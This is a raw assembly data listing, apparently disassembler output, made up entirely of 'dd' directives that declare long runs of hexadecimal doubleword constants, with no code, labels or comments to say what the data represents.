dd 0BC94F406h, 651DCD9Fh, 69E9F0ECh, 0F01EF459h, 7EF13EBCh
dd 6B827CBDh, 7AB38F9h, 0B8A68E21h, 0C3300DA5h, 4CE9C078h
dd 3654AAAEh, 3ABF454h, 0C8C4303Ah, 0FA79865Ah, 80F38773h
dd 0E0F20E6h, 1AFCA606h, 0E68DB944h, 6672280h, 0FAE57A8Eh
dd 648298Ch, 0E030895Ah, 0EA85EE18h, 7CC9999Ah, 99D8832Bh
dd 8523B47Ah, 0D8B46B8Ch, 366514C6h, 0D64D1362h, 2CEE0123h
dd 9B0EF0D9h, 2FA0C719h, 0BDABDF7Fh, 1DE7C397h, 30DA7279h
dd 0C19B92A5h, 0E5AC9362h, 145E98F8h, 0F94C9137h, 3BEE61F0h
dd 3F260D38h, 48E1C066h, 70ED58D4h, 8ACD0CAFh, 828BE7C0h
dd 20EB3D74h, 0B0250A10h, 0DC37BD90h, 0DA28235Fh, 8A5888DBh
dd 94A4391Fh, 90A62397h, 5C28FC95h, 85B70764h, 7169915Dh
dd 804211C7h, 9BC623F6h, 9C01C1CEh, 58B87B8Eh, 364B7DF6h
dd 417428Dh, 5B77FBA5h, 0CA16BF93h, 5CA8586Ch, 0E280D71Ah
dd 0B2BD0376h, 0A7B81F38h, 80F08D45h, 5FB73397h, 67946h
dd 31A3CC36h, 2FD10821h, 0FDEC805Fh, 4E2291EAh, 0F021E7DFh
dd 83ABE450h, 2C98E193h, 0C90E1B98h, 5C66670Ch, 7DA83966h
dd 8C6145D3h, 0AC91D43h, 36E902h, 8126FD08h, 0F64763E7h
dd 82240A12h, 0DE430362h, 0F588998Ah, 9B02DFFAh, 7A14DBE7h
dd 5878FE6Ch, 0E306B3DEh, 0DCBB8E8Fh, 5DFBBF2Bh, 1FD94592h
dd 0C4988698h, 4FF3341Eh, 7EE14FDFh, 0BB609635h, 4B706D6Bh
dd 1B624C3Ah, 356DFF74h, 30A4E21Bh, 0EB620751h, 656587DCh
dd 0F12FB4B6h, 8CA0E4D3h, 38C4EE1h, 5AEDEDE3h, 0DD14027h
dd 70BB26DFh, 0F479C267h, 9AAE84CDh, 0DAA383ABh, 0C5ED28ABh
dd 14B346FDh, 8BB0490h, 6B7854FDh, 0E5BB4351h, 0A587B72h
dd 1CDC6D05h, 0E64A583Fh, 0F6B3C1CFh, 3D759A57h, 5B0765FBh
dd 88DB9A68h, 5118AF85h, 7070F96Fh, 2C8503FEh, 153842C9h
dd 0CCE9CFC5h, 0DD58C9FFh, 0ED6D9DC7h, 5CA93027h, 0BC8083C8h
dd 0B956C4F8h, 39109EE3h, 7722BAE6h, 0CDA391D7h, 0D322028Fh
dd 5A7D2AA8h, 0DC15806h, 392D4B9Fh, 40E046E9h, 1991CDB0h
dd 1B7C78CBh, 45BDC38Fh, 0E0B93D01h, 48395A0Ah, 0A98624EBh
dd 76B81A20h, 800B9DE3h, 6C1ECCEBh, 6CBD583Dh, 0D76DBD61h
dd 0E2B6F60Bh, 0FCA59A04h, 0A76A354Ah, 0B81CCEB0h, 91328DF6h
dd 3A020390h, 0AE00347h, 5662D7B2h, 689B9378h, 0BE863821h
dd 72F4FFF2h, 1B7DB373h, 0AAD008ADh, 34A5861Ch, 8FA62156h
dd 5CA9E531h, 5EA67FAh, 0DAC62CCh, 9E82E4B0h, 82673F02h
dd 0E1B90960h, 1672CA5Fh, 1BC5D1FCh, 1586B64Fh, 933A9C6h
dd 483D4AD5h, 48DA04EFh, 76888933h, 873B1FE3h, 1A6F4146h
dd 9E9F5988h, 0D6018908h, 0E90B90C5h, 0D9F7FCD4h, 0A94A0923h
dd 0F992BF07h, 913202C0h, 9B9383F6h, 0E1E3C9ABh, 0E564D78Fh
dd 312C9D45h, 0D18F7A45h, 1DEBAC95h, 0E1C2C323h, 280101A6h
dd 3D1C043Fh, 281E0243h, 83A68A4Ch, 5D2E5F2h, 562E6EDCh
dd 9600EFCAh, 78A64D13h, 874EDD62h, 0E676CAD6h, 1A3B026Eh
dd 430BD9Fh, 3E6B07h, 9A8DC05h, 691302EDh, 0F5FE8255h
dd 0F54A999Ah, 1513AAFAh, 67CC583Fh, 0D56C3E07h, 9E1C7204h
dd 0C46E9A04h, 0B36BBE2Ch, 5EDD47D6h, 52730691h, 0BC438AF9h
dd 60E18822h, 0C8609639h, 789B92BAh, 0CE6DBB41h, 0B48D7C98h
dd 70A4C76Ah, 0EB6707DFh, 3B658778h, 4EA27125h, 8CA0E843h
dd 3ABED8Ch, 9EDD323h, 298D28F1h, 78A65AD3h, 8769516Fh
dd 197729D6h, 1AC6544Bh, 433318Fh, 3F6307h, 9AACC05h, 691F22EDh
dd 0F5814255h, 0F55A199Ah, 14F0AAFAh, 6782583Fh, 0DAE83E07h
dd 9F147204h, 0C29E9A04h, 0BF4BBE2Ch, 651D47D6h, 42F30691h
dd 9B438AF9h, 22E18822h, 4C609639h, 709B92BBh, 0FE6DBB4Fh
dd 0D48D7C84h, 0B0A4C712h, 6B6707EEh, 0B36586A7h, 2EB271BAh
dd 1B0E89Ah, 8EBBEAD9h, 6DFDDD6Eh, 7E85ABEh, 16CF6299h
dd 0E63FCA86h, 700D61BAh, 6DE6F125h, 6B40DBE6h, 6C201064h
dd 68DE9E6Ch, 4735BB9Fh, 8689087Bh, 811FF8EEh, 34B6C493h
dd 26031773h
dd 93341E4Bh, 0CC01354Ah, 0E0C9D44Bh, 0DED9D658h, 437323B7h
dd 42730CBFh, 0E31EB8Dh, 0C486E64Ah, 8D2DD97Dh, 0FAF3E698h
dd 0C009DA29h, 0F48752A8h, 0A0F08658h, 0CB5D57ABh, 4C17E9D0h
dd 2BC603D8h, 0E3D4C8DFh, 6A8ECB06h, 46BEDC09h, 9DE7D72h
dd 0CD40923h, 0EE739655h, 781467DCh, 3AB2EF25h, 605C60EDh
dd 73689F27h, 29C38971h, 27A8D9Eh, 0FFB4B630h, 861C759Ah
dd 71A8CF8Eh, 4908764Dh, 0B4693E0Dh, 0F3D61770h, 0B3EEF665h
dd 0E4F9D943h, 5FC03BBh, 46A006F0h, 834FE9Fh, 8BBDED51h
dd 0EB12F557h, 74FDFDCBh, 7004EC11h, 67FA13E5h, 42D18449h
dd 1F096297h, 4817E3E3h, 12CC1ED2h, 0E0D090FAh, 71CE995Bh
dd 6782BF13h, 5DEE537Fh, 58C8097Ah, 0F439DB8Ch, 135902B3h
dd 6EA7AE4Bh, 7C572DEEh, 6E60E364h, 6A8DF962h, 569EF82h
dd 0FFF0F630h, 9406ED9Ah, 71A1D994h, 94D2A4Dh, 0BB581E60h
dd 0B3921370h, 0A2AE902Ah, 0E085D043h, 15B833B5h, 81C72B1h
dd 4D79F9DCh, 0BBE1824Ah, 0FD0EF851h, 77F2E6DBh, 61199B23h
dd 0EFE59A1h, 1684AE30h, 8E0B6E84h, 1E45A7D0h, 66825990h
dd 86898196h, 6DC4882Ch, 7D8EB90Dh, 9EA5818h, 5D8608A7h
dd 0EE738D1Ch, 760465DCh, 3AB5A728h, 245B24F9h, 7324D827h
dd 6AAD8658h, 0C77CC82h, 9AFD3636h, 900639F4h, 60A7CF90h
dd 4F1A3C5Ah, 0B7574C61h, 0EE912924h, 0C1D4B359h, 0EBA5D14Fh
dd 196924B3h, 4ED368FEh, 772EE58Bh, 8792AD78h, 0F9339634h
dd 73F2E4CAh, 4D08EF28h, 26E528F5h, 8AC0A670h, 252857C4h
dd 68658CF4h, 27D403DAh, 0E9F48DD4h, 6BFF9F57h, 6D8CB901h
dd 48EF166Bh, 37F647F7h, 875CF3A1h, 6F050185h, 4EA3AD22h
dd 504676EAh, 6164E96Fh, 598D8661h, 635F0CA4h, 87F15155h
dd 9014F0ECh, 60B6CFAEh, 24A306Bh, 0FA0E5A66h, 0F3A21D67h
dd 0A4BAF961h, 0D72BB448h, 192B35B3h, 422763F2h, 3E17FE8Ah
dd 0B880ED51h, 0F114E51Eh, 4CFEE6CAh, 5C39BB47h, 37E228F8h
dd 95CAA97Ah, 0C24F7387h, 5A03A688h, 2AC71DD8h, 868EC685h
dd 7AD9BF5Ch, 66AEB317h, 4AE859DFh, 428F4F27h, 0A93DDB4Fh
dd 197D4DF8h, 4EBFB21Fh, 6A5D5AE0h, 7462F669h, 2997852Dh
dd 1B77008Ch, 92FAAB21h, 0FF5937B4h, 6DC8FEFAh, 87D376Bh
dd 0B9555069h, 0B3ED5A70h, 0C1F4B42Ah, 0E77FDF5Bh, 17F223BEh
dd 489726ABh, 5F6DEF97h, 0F4CBA223h, 0E001E11Eh, 4FFFFADBh
dd 294D812Ah, 0FDF915E0h, 5384A07Ah, 7176A8Ch, 1500F2D4h
dd 4EA85F9Dh, 0AC8AC285h, 60DF8A23h, 6E82B83Bh, 48FA17ABh
dd 16CF137Ah, 0A9789B88h, 6E4962DCh, 72A5B62Ah, 3E5572EBh
dd 7264D827h, 6CCD3573h, 67071CDh, 0D5F0EE20h, 8756FCF8h
dd 75CFD99Fh, 3592C4Dh, 0BFA25F27h, 0F4B90024h, 0A09AE96Ah
dd 0E00ED240h, 7DD4DF7h, 4E1072F0h, 6E24E59Dh, 0A284FB03h
dd 0CD03FF48h, 4BFEE098h, 3A1FDA39h, 0BEA318E4h, 4C5B014h
dd 84036F80h, 4945BCD7h, 2FD602D0h, 0EA809CD1h, 66C7822Dh
dd 9E7F1C7h, 4AF95686h, 1FC900BBh, 0E2249555h, 6D040FBFh
dd 73AAA82Ah, 771276E1h, 6977D162h, 27802966h, 1E1828C3h
dd 9DF43634h, 0CF1176FEh, 67DDD8DAh, 0E40374Bh, 0A9E85969h
dd 0EEBD1561h, 0E067E870h, 84419002h, 146926A1h, 419C62F9h
dd 2730AAC3h, 0B795FA42h, 0AC6AB85Ah, 5EF2E5E7h, 2132897Eh
dd 0A7FE12F6h, 0EFC9B04Bh, 191007BDh, 550CF2D6h, 21D651D0h
dd 0CFEBA087h, 76CAC411h, 7C9FB0C7h, 4CE617BFh, 56884AEAh
dd 0E805B2E5h, 780014B0h, 579AA339h, 6B4076E6h, 7467D474h
dd 67C72B59h, 1A6FAD89h, 87E24109h, 8117FCE8h, 67CBCFACh
dd 3B5E3756h, 0DBAA4B55h, 0E9850073h, 0EE69F46Dh, 0CC8BD158h
dd 58100B9Dh, 4A0773F0h, 722DFF8Bh, 0FA98ED48h, 0A06AB810h
dd 27F79292h, 3D6DDF2Ch, 0A3D93ACEh, 0ACE19555h, 99046EAFh
dd 5D0AF5D1h, 27F52DDDh, 0FBCF8D35h, 57E5CB0Fh, 7B989CDFh
dd 5DE35243h, 0BD40105h, 0DB38DD06h, 7D190681h, 1AB5AF24h
dd 776729A3h, 6E68C162h, 5AAE186Ch, 3E4CA4A2h, 0A9D29014h
dd 871A70D7h, 72D1D995h, 0E61044Bh, 0ACAF5A69h, 0C9AA5277h
dd 0BC4BD958h, 0F0E5DB5Eh, 4EF2280h, 799D69F8h, 3D2DE3AEh
dd 0B88EEF4Ch, 0C514C53Eh, 30EEE6CAh, 0F902C91Dh, 67E01DF2h
dd 43DD941Bh, 370A6295h, 4917F3FEh, 0DD61FCEh, 0FED48730h
dd 66F8871Bh, 66AE83E7h, 46FF437Fh, 1DF2387Fh, 0E93FDE9Dh
dd 4A5702B7h, 7FB0A82Eh, 606571FDh, 64731774h, 9CA6B75h
dd 3B7FE7BFh, 0DDF3E330h, 9658A3B3h, 6098C49Bh, 6512A1Fh
dd 0BEB71E63h, 0EED9527Dh, 0AB7C9A0Eh, 0E58EEC4Bh, 4DF46FB2h
dd 451674B1h, 3966AA9Dh, 0DC98EA03h, 0DE40E55Bh, 78F6FDCAh
dd 0A64DC868h, 3EA40FA5h, 17C1951Bh, 8F0662B3h, 1B5FAF94h
dd 20C701C2h, 0A9808D36h, 78ABE11Fh, 3DAE99DBh, 1DC97335h
dd 499326FEh, 0B6679E2Ah, 205A2E92h, 37FE9D73h, 420B15CAh
dd 38457632h, 3A97393Ch, 0C5CA290h, 9CE42126h, 9A116DEAh
dd 7DF8AA94h, 666284Ch, 0B6B9707Eh, 0F2B87261h, 9D32FB67h
dd 0E1BFCD55h, 145247BBh, 509063FBh, 3A2EEBB7h, 0D893CD23h
dd 0D323E451h, 3FE9E6D6h, 0CA3EBB21h, 54F90EE1h, 0D5D4BE4Fh
dd 0A0A4EE0h, 5A35E3DCh, 1DA219DBh, 0C9F4BA0Eh, 76E8B729h
dd 6788AD81h, 47E27425h, 14C917E7h, 0DB22D5BCh, 6F050985h
dd 69A3BD22h, 766225D3h, 64682D68h, 678E4F60h, 6903688h
dd 86B66927h, 870EFAFFh, 34C4DE93h, 0E7C2850h, 0FBA75068h
dd 0BD7E1D62h, 0BA3DE377h, 0E60BD349h, 18342AB2h, 510775F8h
dd 2C2CFE98h, 8CC1A650h, 0C309FE6Ah, 1AFEE198h, 0CB0ED23Bh
dd 1AEC1FA0h, 84CBA93Bh, 0CB0265C0h, 4B0AF2C9h, 60C614D1h
dd 0FEC59A4Bh, 66C882EAh, 6E88ADE3h, 4CF943D8h, 72C20021h
dd 0F438C76Fh, 397A6BA5h, 3AE6F06Bh, 241219AFh, 20217327h
dd 298E0C25h, 49C742CDh, 0F896CF75h, 865B70BFh, 7ADDC99Fh
dd 0B2E2B5Bh, 0FBA45862h, 950C5224h, 9D7EB40Ch, 0A731C85Eh
dd 2F426A1h, 39468F8h, 2E63E3DCh, 0C08EEB46h, 9A4EE55Ah
dd 339B9896h, 0B12ECD3Fh, 0FCD911EDh, 54C5A268h, 40327C5h
dd 3B6FE3D7h, 74F423F0h, 0F9C89A6Fh, 6DC29FE0h, 6689FFB4h
dd 6DAD5EE6h, 78AC295Fh, 0BD00E3BCh, 5E273FF6h, 5F829319h
dd 771701AFh, 53016139h, 29948A57h, 20AB52A4h, 0F59CD606h
dd 0CF2CCBC9h, 51EAE8DAh, 355F5835h, 9ACC0451h, 0EF3C3947h
dd 0AD0BF061h, 0A70FDB58h, 56AE179Fh, 4E1A67F7h, 5C49EE9Ch
dd 9AB7DA70h, 323D71Eh, 12FEE099h, 0AB19D82Eh, 0E4C45CE8h
dd 23A4CD71h, 0CB5D565Dh, 5F0BE3ABh, 6EC51C0Ch, 0E9CA8CB1h
dd 67CE9CEFh, 7ABD9003h, 40EC5AD1h, 72C217BFh, 0D4768B6Fh
dd 394D1F84h, 7EAB7138h, 2455DFE6h, 65680675h, 6DC5B866h
dd 1AB36BCDh, 0A7CA425Fh, 0B7AA23CCh, 7CB0E1B9h, 13A6365Eh
dd 0B00B5F6Fh, 0BA731C6Dh, 0A0F7FB62h, 8341DA49h, 474B1585h
dd 59B047B1h, 5522E2D9h, 389FB47h, 0A209FD5Ch, 239B98D1h
dd 0DE57ED1Bh, 0B0E31DE0h, 0DBC5AF79h, 4B006E77h, 570CE761h
dd 448C1642h, 0DAF2BD47h, 6AD9C9BEh, 2CCDE443h, 7A8D32B8h
dd 589C2CC1h, 0E338EF87h, 7216C0A5h, 34A23822h, 4371BA1h
dd 3A552954h, 67CD9F25h, 1D8CA783h, 0D5C66C3Ch, 9AF4F8FCh
dd 1E5FCE9Fh, 36D20B3Fh
dd 0B7871E3Dh, 0F8491C6Ah, 0ADE0F370h, 85859002h, 530F14D6h
dd 242826ABh, 7366B08Ah, 49E1827Eh, 2F10B646h, 0D3BBE6C5h
dd 0E430D273h, 84E8188Ah, 9CD2AA20h, 0DC096126h, 560AE538h
dd 3AD713F9h, 0E5D28153h, 23CF8346h, 2ACD8A4Ah, 72AD5314h
dd 72FB0D76h, 0E923F46Fh, 7E19EEB8h, 3AB6AD6Bh, 2D4EACA7h
dd 0D2ADD29h, 2981EC0Fh, 1CC7E2CFh, 81CCA625h, 0F68739FFh
dd 6715D997h, 0F025847h, 0B7CC5070h, 0FCC11665h, 0F1D1EE24h
dd 0FAAE820Ch, 649D4DE8h, 0F98075E2h, 4807DAADh, 53C1CD69h
dd 245ADA11h, 3EE8B7B3h, 7109BB6Dh, 7BE11222h, 54C1A3ACh
dd 18425BB5h, 1648A948h, 3D874CC5h, 0E8A0D832h, 6FCA695Bh
dd 6C89AB7Ch, 48EB3A75h, 1CC3D27Ah, 0A20D27D5h, 3450DBA5h
dd 3FE3B466h, 43380FCh, 6E7BE463h, 6DF2F369h, 49AAEC84h
dd 0A81EA70Eh, 0C809B4BAh, 1A148FDAh, 0D025835h, 0F4D25B77h
dd 0BE950121h, 3BA4B42Ah, 20EBDC5Ah, 0BBB833BFh, 370763FCh
dd 5D2DEF8Bh, 31C9E44Dh, 7145B67Dh, 76D2928Dh, 601FDE03h
dd 44C20850h, 598CA9E8h, 8242212Fh, 4808881Eh, 20D50199h
dd 0E8C1B95Fh, 23A46449h, 55D7F963h, 6DC33326h, 24F5A89Ch
dd 0F324FE1Ch, 2B42E8B3h, 69AFFB17h, 7C40AFFCh, 368362h
dd 67EAFB5Ah, 36F290DEh, 865F2C22h, 0A8C96AC5h, 613BAAA5h
dd 6E493656h, 0AECF6158h, 0FBEB0177h, 7481F760h, 1D8AF02Dh
dd 0D85017FCh, 899674B2h, 8330EF8Fh, 73C4AB18h, 6C40BB65h
dd 2AEFE0ECh, 5748E05Fh, 1A8D7678h, 0E08993ECh, 0D475119h
dd 4945EFE4h, 2BD71E9Ah, 0AF80A044h, 2E847B01h, 386CD53h
dd 4AE83851h, 11D176F6h, 0C977A381h, 495F5097h, 7CE0DE06h
dd 7607E1F8h, 656DEA62h, 2ADBC876h, 47922BC8h, 87CC087Bh
dd 9894EDFFh, 698AC199h, 1C36784Bh, 8BE41353h, 0F3AA5254h
dd 76BCBA60h, 2B4ECB5Ch, 8D7E67A5h, 995D28FBh, 13308AF0h
dd 7288EC57h, 512EB62Ch, 65CBBFCBh, 590B9B57h, 11FF5C71h
dd 83C1B33Ch, 0CE4421E0h, 154BA57Bh, 21D068FBh, 0FEC5AE5Eh
dd 39D4677Ch, 7AC8F163h, 678D51ECh, 288A6B12h, 0F5775422h
dd 7C07F2B3h, 391FF438h, 2901F0AAh, 6269E327h, 2990C569h
dd 49B632A4h, 0A99FE70Eh, 0B6691990h, 540A87AEh, 3B0C786Fh
dd 0B7D54B76h, 0A5E75270h, 3BD3BA6Dh, 2801D542h, 2DFE22A3h
dd 199A70FAh, 0B40DAA9Ah, 53B1A56Eh, 7112B619h, 53FEE7EAh
dd 7B4E9B7Bh, 0BAA3526Ch, 55D7C666h, 80872A7h, 4F15E5FAh
dd 1AE327D3h, 0DCED8802h, 72C17874h, 7D9EF726h, 40AB88B1h
dd 7289713Dh, 0E93236EFh, 7E1D6BB2h, 4E7FCC6Bh, 546ECDA2h
dd 7285D927h, 7D9F3970h, 0B921CDh, 0FEA2AC7Bh, 9103FD9Ah
dd 6CB7DF9Bh, 2B1D3F1Fh, 0B32D4962h, 9987523Eh, 3E4C777h
dd 563BEB64h, 1B96781h, 401C65E0h, 543AF898h, 6590ED49h
dd 814E52Ah, 2F2B7B4h, 6006D437h, 0D7B17FFFh, 2D0A863h
dd 0B9326E7Ch, 765B45Ch, 3CC719DAh, 0E9C3B755h, 70980672h
dd 609BF7C6h, 29B0DE92h, 42C90EA6h, 0E23CE61Ch, 3400E0BBh
dd 6A53F43Eh, 635FFEA2h, 7181D03Dh, 6C872573h, 202D75D7h
dd 9BEC121Ch, 93C377F4h, 7637C38Eh, 11726905h, 98266E52h
dd 0CBBD1624h, 6D68F567h, 7A6BC75Fh, 6A6836B4h, 0D5D372E0h
dd 0D379E3D9h, 3285E956h, 249A565h, 3091BCBDh, 1F0ED473h
dd 0BAE21691h, 9598E616h, 6B6D3C21h, 5535D8D6h, 27C64BA7h
dd 0FACFBF54h, 23DD7021h, 7C9CE8C1h, 9FAF8B4h, 42CEB9B0h
dd 0E335A0CFh, 304E28F6h, 1012A865h, 547ADC8Fh, 67C8EB69h
dd 66BF0F6Ch, 170EA79Bh, 852A7075h, 849AFCEFh, 72FC89DAh
dd 38127805h, 0FF6C1E63h, 9AC25C2Dh, 1F629A0Eh, 71DFDF4Eh
dd 665D29BEh, 0E51D56C6h, 12AEEDCh, 7197E756h, 5240EF21h
dd 2DEEE40Ah, 4D4DCF54h, 0D4B716F0h, 0D0C0A7AEh, 0C54E32BAh
dd 3B6FA330h, 2BCA079Ah, 0A1D3A3B6h, 73CA4E09h, 6E9F1AAEh
dd 5BEBE80Bh, 1DC4D525h, 0C9155555h, 763FDF9Fh, 795EF625h
dd 6A46C0FBh, 4AEC823Dh, 59BA3C50h, 1D2586CDh, 9119AD36h
dd 820960E8h, 7E2BDB9Fh, 79562C4Ch, 0E1605722h, 0D8875229h
dd 1155F961h, 0C6A5D943h, 0BD9D4DFEh, 1C9665F9h, 962DE389h
dd 46B4C116h, 4040C63Fh, 2FF8E602h, 0E71FDE59h, 65E80DE4h
dd 44D7A3E6h, 24221F1h, 314BA2B3h, 3AC716EBh, 0E7C3AFACh
dd 23D04A1Bh, 67BD28DAh, 40EACB41h, 0EC8BF60h, 0A72D318Ah
dd 6C0C6BA4h, 3A4EE92Eh, 2A4288ACh, 3FA6529h, 4C9F3148h
dd 261FD0ACh, 0BC2FA875h, 0DF38CDCEh, 17EE84CBh, 281B1035h
dd 807C0473h, 9ED24B37h, 5200AF31h, 0CAC58B18h, 0DEE777E5h
dd 394336A5h, 4A17D9F5h, 8691FD17h, 5712AC26h, 3DFFE106h
dd 0EB0ED25Dh, 55C075C1h, 5284FCEDh, 9B037182h, 480CE8E6h
dd 2BD4090Eh, 86ADE3A1h, 239E6021h, 4E774D0h, 4CFDF37Bh
dd 16CE89BDh, 0D21C8308h, 392D2386h, 794A752Fh, 764FD7E0h
dd 6680637Eh, 7AA57974h, 4B078299h, 0DA306C3Ch, 93F01990h
dd 34F8C493h, 54C07611h, 0C7315674h, 98F47825h, 5E70A337h
dd 0F2E58B18h, 0CC3372E5h, 5CF336A9h, 1F13DEABh, 2785EC76h
dd 4E40E636h, 35EEE402h, 0E54DCF44h, 71B70C91h, 909E9BDAh
dd 0E036C73h, 5240AC21h, 448C48C1h, 0D8F48ED7h, 67E51634h
dd 798C2897h, 58EB8971h, 0CD498E6h, 0F470DBCFh, 4414A9ECh
dd 7F4BBE71h, 727CC0ECh, 23CE3F62h, 27EA5520h, 262B48C3h
dd 0D47E5601h, 0BCCFFDDBh, 687DDA9Bh, 313D295Ah, 906E4A74h
dd 927F575Fh, 4613F321h, 0CB219003h, 0DA0E0880h, 0D30023BCh
dd 0AE17DEB6h, 0DDCFB91Fh, 7F289C59h, 48A1C136h, 8B57C816h
dd 378772D5h, 0B5F088ECh, 0A74A577Eh, 6F22C21Fh, 6B825D29h
dd 0CFAACAA2h, 46F07AD3h, 5DC0358Dh, 13CB9CE8h, 0CD7973h
dd 0EA2DCF1Bh, 7A5DF0BAh, 694A7123h, 2629CDEAh, 2E902772h
dd 3350E3Dh, 3E722DBEh, 0BD6A8114h, 0D1F157D5h, 7460DFD8h
dd 3DAD2B05h, 0C2315362h, 0C8740729h, 2611B774h, 0B678844Ah
dd 0FDF431A2h, 92A43CF9h, 0FE13C3B0h, 0B8FE65Fh, 5B09E236h
dd 43AAAF0Dh, 8E09DF7Eh, 0D9F90DCBh, 59D4B133h, 66456401h
dd 3B6F8293h, 1F24AAEh, 0A980909Ch, 57EC12E7h, 38C23D87h
dd 2383E5BFh, 2CFB525Bh, 0F470E1D5h, 14172FECh, 5477D141h
dd 5059F8DBh, 4DBD272Ah, 33748842h, 635227CDh, 0B981C15Fh
dd 0A5A4DCCEh, 4D8AFED7h, 216C627Ah, 99184662h, 9F701F7Ch
dd 3106F924h, 0AF0ECD5Fh, 0DAA865EDh, 904B2BFAh, 331080F3h
dd 0A3A0D870h, 862FDF0Eh, 0DB9B55Ah, 0BD57D54Fh, 0D9E817C3h
dd 589B23Bh, 0C6176D0Fh, 102FDD7h, 38D002D6h, 0B6C5A62Ah
dd 4AEA72DBh, 67822C73h, 5DEDB59Fh, 42C645BAh, 0E314125Eh
dd 6B1139B2h, 6A59993Fh, 637858FFh, 0EF36E25h, 7A02CC0Fh
dd 186967D7h, 87BE2E30h, 89F014FFh, 6EDEC697h, 773F2B05h
dd 0C79C4A6Fh, 0D63B5D3Eh, 33FBF267h, 0DF65CD4Ch, 0DA6E2BBDh
dd 0CDDD76FDh, 286CED8Ch, 8D91E95Eh, 2916F83Fh, 15EBFA0Dh
dd 0F4609914h, 0BAE845DFh, 0D9C0AE21h, 1F3464E0h, 600E39Eh
dd 3AD60845h, 0A38FFFB7h, 66CC53F7h, 279E085Eh, 5AE2B1A9h
dd 56D853FCh, 0A8326C80h, 691F27A5h, 79597364h, 6A7FD1E0h
dd 3DD85460h, 7A0CF608h, 0A6C80D7h, 0FDD43C2Ch, 0B037ECA6h
dd 72C1CE9Eh, 378D2C4Dh
dd 0D90D4E77h, 0DA267F63h, 2FE0F669h, 8196CB17h, 873335A5h
dd 0F41B65EFh, 1730EB93h, 148FF844h, 0A712F976h, 0FAFEE644h
dd 8B0ED24Eh, 0BACC2894h, 9FE7910Fh, 88026DE8h, 550AE682h
dd 70805103h, 0C29CCFB6h, 66F64659h, 6C99076Eh, 5DFDB179h
dd 36870A6Dh, 0E207610Ah, 7C0AC8BBh, 6E442703h, 381B04B1h
dd 468C9649h, 7B54987Dh, 3E6D8383h, 0C991B03Ah, 0DE2970BFh
dd 58F1CFB4h, 24C32C47h, 0E74C5F69h, 9DD0006Bh, 13829009h
dd 0DFDBC948h, 22F233BFh, 0DDCD6AF2h, 67FDAA3h, 1696ED83h
dd 0EB14F911h, 3EF7FA2Dh, 5051B1D4h, 7AC4080Ch, 5ED6A4B1h
dd 43760E4h, 1E5BE587h, 8D6052h, 0E2E9BADAh, 6DD64440h
dd 66BD2472h, 24B06A63h, 1DE68A19h, 0E63C5298h, 7D1DCAB4h
dd 350F7B75h, 416E68C1h, 6FA9EA69h, 42FF860h, 0B8FBEE7h
dd 850AD222h, 8275D4EEh, 78E9C38Ah, 31D73D7Bh, 0CB4C5775h
dd 6DD21D6Dh, 0D9C0F352h, 4D98C95Dh, 0B4BE2280h, 0F1076FECh
dd 4D0DA5DEh, 2A8ED8BEh, 0E801DB1Fh, 7FF5FC2Eh, 6D1EDEBDh
dd 40FD165Bh, 4ECAAF2Ch, 0A55B0788h, 5E29E491h, 0AC72B5Ch
dd 0F8C147C6h, 3DCA3E45h, 47C21453h, 4CC22914h, 3CCC44B2h
dd 0F332651Ah, 2714CABFh, 35134646h, 60403BFAh, 71B4D363h
dd 7910C171h, 9EFCB9Dh, 0CAEE4F6Bh, 0B12E6AB5h, 0DFFDCE95h
dd 61865233h, 0C97D047Ah, 2CD8176Eh, 9DE0FF0Dh, 2DFB8E30h
dd 14554639h, 0ECD3560Bh, 7820F90Dh, 2393EAB3h, 0ED05EA53h
dd 64E8EC5Bh, 4D48E8B9h, 9E44BD3h, 0D5D6C0FFh, 1D0EABE7h
dd 1B5F7196h, 60933D1Ah, 0CBA63799h, 26801561h, 5DAD2800h
dd 1890CE05h, 728486BDh, 0D3C35BA7h, 6AE184ECh, 14426B71h
dd 454A4485h, 2AFFCB42h, 461FFD49h, 5A0703B8h, 7801226Fh
dd 361A9396h, 37D1E2FDh, 23DC786Dh, 0D95B5D78h, 53B50079h
dd 88BFFF07h, 0D65FCD77h, 0B3781D32h, 0DA1A2322h, 1C6DA5C8h
dd 2895E6C1h, 0BF4FA00Bh, 539BA33Eh, 172CCE8Fh, 4CBFAEEBh
dd 0C09CC068h, 0AD53A2B5h, 349A1C5h, 63FA6501h, 0CD9511EEh
dd 46E5371Fh, 3CCCD907h, 70FCDFCCh, 35AF6300h, 0F5A45733h
dd 6C28C6A4h, 6C492F08h, 5B9D76FDh, 68E7E762h, 73C7DE60h
dd 5373078Eh, 4385AA06h, 1E567DFEh, 9609CF9Eh, 34DF0860h
dd 0E355536Ch, 3FB70075h, 0B88CF32Bh, 0C067DE95h, 29F12922h
dd 0D4AF7CBAh, 712DEA1Ch, 0E85FFBCh, 0FD06F3F1h, 61C7E462h
dd 3105E82Ch, 0F1F6E71Bh, 40D4E2A0h, 0A0721EFh, 550B7085h
dd 27F31040h, 0DBAA59DCh, 6CBC0F3Dh, 47D2BB24h, 47286BF4h
dd 2BEADC61h, 8A6B768Ah, 38B9D6BFh, 69512718h, 0A9C7EE6h
dd 7AB1813Dh, 7EF03D6Bh, 3FFA6688h, 350AE31Dh, 0D577F1E8h
dd 55B9099h, 349C3C52h, 0F5BF4C6Ah, 3BFC1C7Bh, 37C7F340h
dd 20AF7F3h, 0A1B535C9h, 0A64960F1h, 3427ED88h, 3B82EDA9h
dd 8040FAEEh, 32B2EC3Bh, 200CDC79h, 0D5E4CD4Dh, 509E272Fh
dd 9D076CF1h, 5E5BB2D8h, 3CD13A47h, 0FED815A9h, 71BBE523h
dd 21BCC8C6h, 4C6F65D8h, 584A40B2h, 9D257C1Ch, 726781ECh
dd 78706C6Bh, 258834AFh, 58CBA30Dh, 9971E71h, 15A90A9Bh
dd 13863275h, 0B6627CF0h, 0D9589098h, 8D827D4Ah, 0D4C83468h
dd 6686067Dh, 3336EC02h, 42229FC1h, 2E7127CBh, 0EF8025DFh
dd 6722E2CBh, 7284F120h, 8509BABBh, 5BCB87E4h, 1008C36Dh
dd 0BDA9818Dh, 958448EDh, 1206CAEBh, 3108B88Bh, 6ECAE137h
dd 0A9896ECEh, 54D68B37h, 6695E5DAh, 1A50F4B2h, 111BCCBDh
dd 91C87B81h, 6165CCB7h, 17B5222Eh, 6380428Fh, 5E08D454h
dd 57FC4D25h, 0BD2EABCDh, 0C066B20h, 0BC7CE3F4h, 0CA79A0DEh
dd 3AFD082Ah, 0A9C47320h, 1C854078h, 133CABB8h, 0DE9B9A6Ch
dd 0AE7865E5h, 0BF1A265Eh, 6166E94Bh, 5492BED1h, 5F60B09Bh
